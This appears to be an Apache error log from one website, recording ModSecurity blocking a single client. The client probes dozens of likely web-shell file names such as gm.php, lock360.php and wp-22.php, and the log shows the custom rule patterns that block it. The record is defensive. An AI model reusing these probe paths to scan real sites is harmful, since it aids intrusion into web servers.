[Tue Nov 25 17:15:31.602440 2025] [:error] [pid 28842:tid 28999] [client 172.210.212.26:8892] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gm.php"] [unique_id "aSVzs9NmoaPf6T4-6C1iFAAAA0k"]
[Tue Nov 25 17:15:33.534842 2025] [:error] [pid 14076:tid 14088] [client 172.210.212.26:1859] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gm.php"] [unique_id "aSVztXsB4Gz6Qw-pvBvx1AAAAAc"]
[Tue Nov 25 17:15:41.184976 2025] [:error] [pid 14077:tid 14113] [client 172.210.212.26:8888] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/naxc.php"] [unique_id "aSVzvRG9n7UHEkwDTyhRrwAAAEM"]
[Tue Nov 25 17:15:42.582562 2025] [:error] [pid 14077:tid 14115] [client 172.210.212.26:6837] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/naxc.php"] [unique_id "aSVzvhG9n7UHEkwDTyhRtgAAAEU"]
[Tue Nov 25 17:15:44.408828 2025] [:error] [pid 28842:tid 29023] [client 172.210.212.26:6810] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/naxc.php"] [unique_id "aSVzwNNmoaPf6T4-6C1iHAAAA1U"]
[Tue Nov 25 17:15:51.974147 2025] [:error] [pid 14076:tid 14082] [client 172.210.212.26:4071] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aSVzx3sB4Gz6Qw-pvBvx4AAAAAE"]
[Tue Nov 25 17:15:57.799527 2025] [:error] [pid 28842:tid 29005] [client 172.210.212.26:2782] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aSVzzdNmoaPf6T4-6C1iJgAAA08"]
[Tue Nov 25 17:16:18.863389 2025] [:error] [pid 28740:tid 28793] [client 172.210.212.26:2248] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/size.php"] [unique_id "aSVz4lppQCoYxWW6V0VTiAAAAkI"]
[Tue Nov 25 17:16:20.252598 2025] [:error] [pid 28740:tid 28802] [client 172.210.212.26:7320] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/size.php"] [unique_id "aSVz5FppQCoYxWW6V0VTigAAAks"]
[Tue Nov 25 17:16:23.092072 2025] [:error] [pid 14078:tid 14140] [client 172.210.212.26:5575] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/size.php"] [unique_id "aSVz59VXYbb0ii_rVoIcDgAAAIM"]
[Tue Nov 25 17:16:26.840990 2025] [:error] [pid 28836:tid 28959] [client 172.210.212.26:10053] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/size.php"] [unique_id "aSVz6pwNRsoxcLQGkTefqwAAAsQ"]
[Tue Nov 25 17:16:28.855693 2025] [:error] [pid 14077:tid 14129] [client 172.210.212.26:10445] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rsjlrria.php"] [unique_id "aSVz7BG9n7UHEkwDTyhR5wAAAFM"]
[Tue Nov 25 17:16:30.698964 2025] [:error] [pid 28740:tid 28815] [client 172.210.212.26:8079] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rsjlrria.php"] [unique_id "aSVz7lppQCoYxWW6V0VTkAAAAlg"]
[Tue Nov 25 17:16:32.273014 2025] [:error] [pid 28609:tid 28628] [client 172.210.212.26:7511] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rsjlrria.php"] [unique_id "aSVz8CGGdT-nZJVs3x2jSgAAAYo"]
[Tue Nov 25 17:16:37.510303 2025] [:error] [pid 14077:tid 14115] [client 172.210.212.26:10264] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rsjlrria.php"] [unique_id "aSVz9RG9n7UHEkwDTyhR9AAAAEU"]
[Tue Nov 25 17:16:38.499179 2025] [:error] [pid 28836:tid 29007] [client 172.210.212.26:1378] [client 172.210.212.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aSVz9pwNRsoxcLQGkTefswAAAtE"]
[Tue Nov 25 17:16:40.726989 2025] [:error] [pid 28836:tid 29013] [client 172.210.212.26:4114] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gec.php"] [unique_id "aSVz-JwNRsoxcLQGkTeftQAAAtc"]
[Tue Nov 25 17:16:41.610364 2025] [:error] [pid 14076:tid 14100] [client 172.210.212.26:10442] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gec.php"] [unique_id "aSVz-XsB4Gz6Qw-pvBvyDAAAABM"]
[Tue Nov 25 17:16:43.484934 2025] [:error] [pid 14078:tid 14152] [client 172.210.212.26:10249] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gec.php"] [unique_id "aSVz-9VXYbb0ii_rVoIcHQAAAI8"]
[Tue Nov 25 17:16:50.410379 2025] [:error] [pid 28740:tid 28800] [client 172.210.212.26:7594] File does not exist: /usr/local/apache/htdocs/suspended-page/nfu.php
[Tue Nov 25 17:16:50.843887 2025] [:error] [pid 28740:tid 28809] [client 172.210.212.26:7594] File does not exist: /usr/local/apache/htdocs/suspended-page/xl8.php
[Tue Nov 25 17:16:51.328419 2025] [:error] [pid 28740:tid 28799] [client 172.210.212.26:7594] File does not exist: /usr/local/apache/htdocs/suspended-page/xl6.php
[Tue Nov 25 17:16:51.714569 2025] [:error] [pid 28740:tid 28799] [client 172.210.212.26:7594] File does not exist: /usr/local/apache/htdocs/suspended-page/class-t.api.php
[Tue Nov 25 17:16:53.093832 2025] [:error] [pid 28740:tid 28799] [client 172.210.212.26:7594] File does not exist: /usr/local/apache/htdocs/suspended-page/zc-706.php
[Tue Nov 25 17:16:53.303701 2025] [:error] [pid 28740:tid 28792] [client 172.210.212.26:7594] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aSV0BVppQCoYxWW6V0VTuwAAAkE"]
[Tue Nov 25 17:16:59.498035 2025] [:error] [pid 14078:tid 14158] [client 172.210.212.26:2000] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aSV0C9VXYbb0ii_rVoIcOwAAAJU"]
[Tue Nov 25 17:17:02.134499 2025] [:error] [pid 28740:tid 28805] [client 172.210.212.26:1274] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aSV0DlppQCoYxWW6V0VT1AAAAk4"]
[Tue Nov 25 17:17:07.223079 2025] [:error] [pid 14077:tid 14123] [client 172.210.212.26:10239] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aSV0ExG9n7UHEkwDTyhSIAAAAE0"]
[Tue Nov 25 17:17:08.600560 2025] [:error] [pid 28842:tid 29021] [client 172.210.212.26:2543] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "aSV0FNNmoaPf6T4-6C1icAAAA1M"]
[Tue Nov 25 17:17:09.647204 2025] [:error] [pid 14077:tid 14124] [client 172.210.212.26:3051] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "aSV0FRG9n7UHEkwDTyhSKQAAAE4"]
[Tue Nov 25 17:17:13.939886 2025] [:error] [pid 14077:tid 14117] [client 172.210.212.26:4775] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "aSV0GRG9n7UHEkwDTyhSOAAAAEc"]
[Tue Nov 25 17:17:16.996252 2025] [:error] [pid 28740:tid 28793] [client 172.210.212.26:10851] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "aSV0HFppQCoYxWW6V0VT9wAAAkI"]
[Tue Nov 25 17:17:18.118626 2025] [:error] [pid 14077:tid 14121] [client 172.210.212.26:10819] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/as.php"] [unique_id "aSV0HhG9n7UHEkwDTyhSQwAAAEs"]
[Tue Nov 25 17:17:19.261413 2025] [:error] [pid 28842:tid 29004] [client 172.210.212.26:6338] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/as.php"] [unique_id "aSV0H9NmoaPf6T4-6C1igQAAA04"]
[Tue Nov 25 17:17:20.391923 2025] [:error] [pid 28836:tid 28964] [client 172.210.212.26:3101] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/as.php"] [unique_id "aSV0IJwNRsoxcLQGkTef1gAAAsk"]
[Tue Nov 25 17:17:22.092370 2025] [:error] [pid 14077:tid 14134] [client 172.210.212.26:3103] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/as.php"] [unique_id "aSV0IhG9n7UHEkwDTyhSTwAAAFg"]
[Tue Nov 25 17:17:24.516840 2025] [:error] [pid 28842:tid 29018] [client 172.210.212.26:3110] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/product.php"] [unique_id "aSV0JNNmoaPf6T4-6C1iiwAAA1E"]
[Tue Nov 25 17:17:31.979177 2025] [:error] [pid 28842:tid 29004] [client 172.210.212.26:8152] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/product.php"] [unique_id "aSV0K9NmoaPf6T4-6C1imwAAA04"]
[Tue Nov 25 17:17:34.841620 2025] [:error] [pid 28842:tid 29023] [client 172.210.212.26:1837] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/product.php"] [unique_id "aSV0LtNmoaPf6T4-6C1inQAAA1U"]
[Tue Nov 25 17:17:38.152910 2025] [:error] [pid 28740:tid 28800] [client 172.210.212.26:3727] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e56.php"] [unique_id "aSV0MlppQCoYxWW6V0VURQAAAkk"]
[Tue Nov 25 17:17:40.247410 2025] [:error] [pid 28740:tid 28802] [client 172.210.212.26:1820] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e56.php"] [unique_id "aSV0NFppQCoYxWW6V0VUTAAAAks"]
[Tue Nov 25 17:17:42.438895 2025] [:error] [pid 2987:tid 2990] [client 172.210.212.26:5032] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e56.php"] [unique_id "aSV0Ns-djEt-pTzPxnx4pgAAAUE"]
[Tue Nov 25 17:17:55.930126 2025] [:error] [pid 28842:tid 29005] [client 172.210.212.26:1961] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-x.php
[Tue Nov 25 17:17:56.206775 2025] [:error] [pid 28842:tid 28992] [client 172.210.212.26:1961] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php
[Tue Nov 25 17:17:56.429999 2025] [:error] [pid 28842:tid 29023] [client 172.210.212.26:1961] File does not exist: /usr/local/apache/htdocs/suspended-page/11.php
[Tue Nov 25 17:17:56.656617 2025] [:error] [pid 28842:tid 29017] [client 172.210.212.26:1961] File does not exist: /usr/local/apache/htdocs/suspended-page/20.php
[Tue Nov 25 17:17:56.887390 2025] [:error] [pid 28842:tid 28996] [client 172.210.212.26:1961] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Tue Nov 25 17:17:57.111329 2025] [:error] [pid 28842:tid 28994] [client 172.210.212.26:1961] File does not exist: /usr/local/apache/htdocs/suspended-page/c.php
[Tue Nov 25 17:17:57.323819 2025] [:error] [pid 28842:tid 29002] [client 172.210.212.26:1961] File does not exist: /usr/local/apache/htdocs/suspended-page/build.php
[Tue Nov 25 17:17:57.990224 2025] [:error] [pid 28842:tid 29004] [client 172.210.212.26:1961] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Tue Nov 25 17:17:58.203253 2025] [:error] [pid 28842:tid 29003] [client 172.210.212.26:1961] File does not exist: /usr/local/apache/htdocs/suspended-page/4.php
[Tue Nov 25 17:17:58.425089 2025] [:error] [pid 28842:tid 28990] [client 172.210.212.26:1961] File does not exist: /usr/local/apache/htdocs/suspended-page/X7x.php
[Tue Nov 25 17:17:58.916403 2025] [:error] [pid 28842:tid 28990] [client 172.210.212.26:1961] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aSV0RtNmoaPf6T4-6C1i1gAAA0A"]
[Tue Nov 25 17:18:00.443797 2025] [:error] [pid 14168:tid 14175] [client 172.210.212.26:3827] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aSV0SPR-ZDU0QEgAIItGfgAAAMQ"]
[Tue Nov 25 17:18:01.946505 2025] [:error] [pid 28739:tid 28785] [client 172.210.212.26:1924] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aSV0SRxGpKmlkG4FexRayQAAAhc"]
[Tue Nov 25 17:18:05.294375 2025] [:error] [pid 28739:tid 28770] [client 172.210.212.26:8195] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aSV0TRxGpKmlkG4FexRa0QAAAgg"]
[Tue Nov 25 17:18:06.175019 2025] [:error] [pid 28836:tid 29014] [client 172.210.212.26:5016] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r.php"] [unique_id "aSV0TpwNRsoxcLQGkTef_AAAAtg"]
[Tue Nov 25 17:18:08.030108 2025] [:error] [pid 2987:tid 3006] [client 172.210.212.26:7886] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r.php"] [unique_id "aSV0UM-djEt-pTzPxnx4wgAAAVE"]
[Tue Nov 25 17:18:09.674856 2025] [:error] [pid 28609:tid 28629] [client 172.210.212.26:4924] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r.php"] [unique_id "aSV0USGGdT-nZJVs3x2jrAAAAYs"]
[Tue Nov 25 17:18:10.786826 2025] [:error] [pid 28842:tid 29005] [client 172.210.212.26:4996] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r.php"] [unique_id "aSV0UtNmoaPf6T4-6C1i6gAAA08"]
[Tue Nov 25 17:18:12.748378 2025] [:error] [pid 14168:tid 14176] [client 172.210.212.26:7449] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v4.php"] [unique_id "aSV0VPR-ZDU0QEgAIItGqQAAAMU"]
[Tue Nov 25 17:18:13.873231 2025] [:error] [pid 28609:tid 28642] [client 172.210.212.26:2959] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v4.php"] [unique_id "aSV0VSGGdT-nZJVs3x2jsQAAAZg"]
[Tue Nov 25 17:18:22.407355 2025] [:error] [pid 28740:tid 28803] [client 172.210.212.26:2964] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v4.php"] [unique_id "aSV0XlppQCoYxWW6V0VUowAAAkw"]
[Tue Nov 25 17:18:24.490736 2025] [:error] [pid 28836:tid 29007] [client 172.210.212.26:7888] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v4.php"] [unique_id "aSV0YJwNRsoxcLQGkTegFgAAAtE"]
[Tue Nov 25 17:18:28.258747 2025] [:error] [pid 14077:tid 14129] [client 172.210.212.26:6556] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-22.php"] [unique_id "aSV0ZBG9n7UHEkwDTyhSwQAAAFM"]
[Tue Nov 25 17:18:29.747014 2025] [:error] [pid 2987:tid 3005] [client 172.210.212.26:7647] [client 172.210.212.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-22.php"] [unique_id "aSV0Zc-djEt-pTzPxnx42QAAAVA"]
